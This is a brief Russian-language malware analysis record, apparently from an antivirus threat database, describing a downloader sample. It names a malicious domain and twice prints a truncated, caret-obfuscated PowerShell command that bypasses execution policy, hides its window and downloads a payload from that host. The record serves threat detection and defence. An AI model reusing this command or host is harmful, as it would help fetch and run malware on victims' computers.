Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://roggistazli.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "power^s^H^elL^.^eX^E -^ex^eCutIoN^p^OLicy^ B^yP^A^SS^ ^-^NO^p^RoFi^Le^ -wiN^doWS^T^ylE^ hiD^D^EN^ ^(NeW-O^BJect^ SY^ST^eM^.N^Et^.WE^B^clieNt^).^D^O^WNLOadfi^le('http://roggis...
Сетевая активность
UDP
- DNS ASK ro###stazli.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "power^s^H^elL^.^eX^E -^ex^eCutIoN^p^OLicy^ B^yP^A^SS^ ^-^NO^p^RoFi^Le^ -wiN^doWS^T^ylE^ hiD^D^EN^ ^(NeW-O^BJect^ SY^ST^eM^.N^Et^.WE^B^clieNt^).^D^O^WNLOadfi^le('http://roggis...' (со скрытым окном)
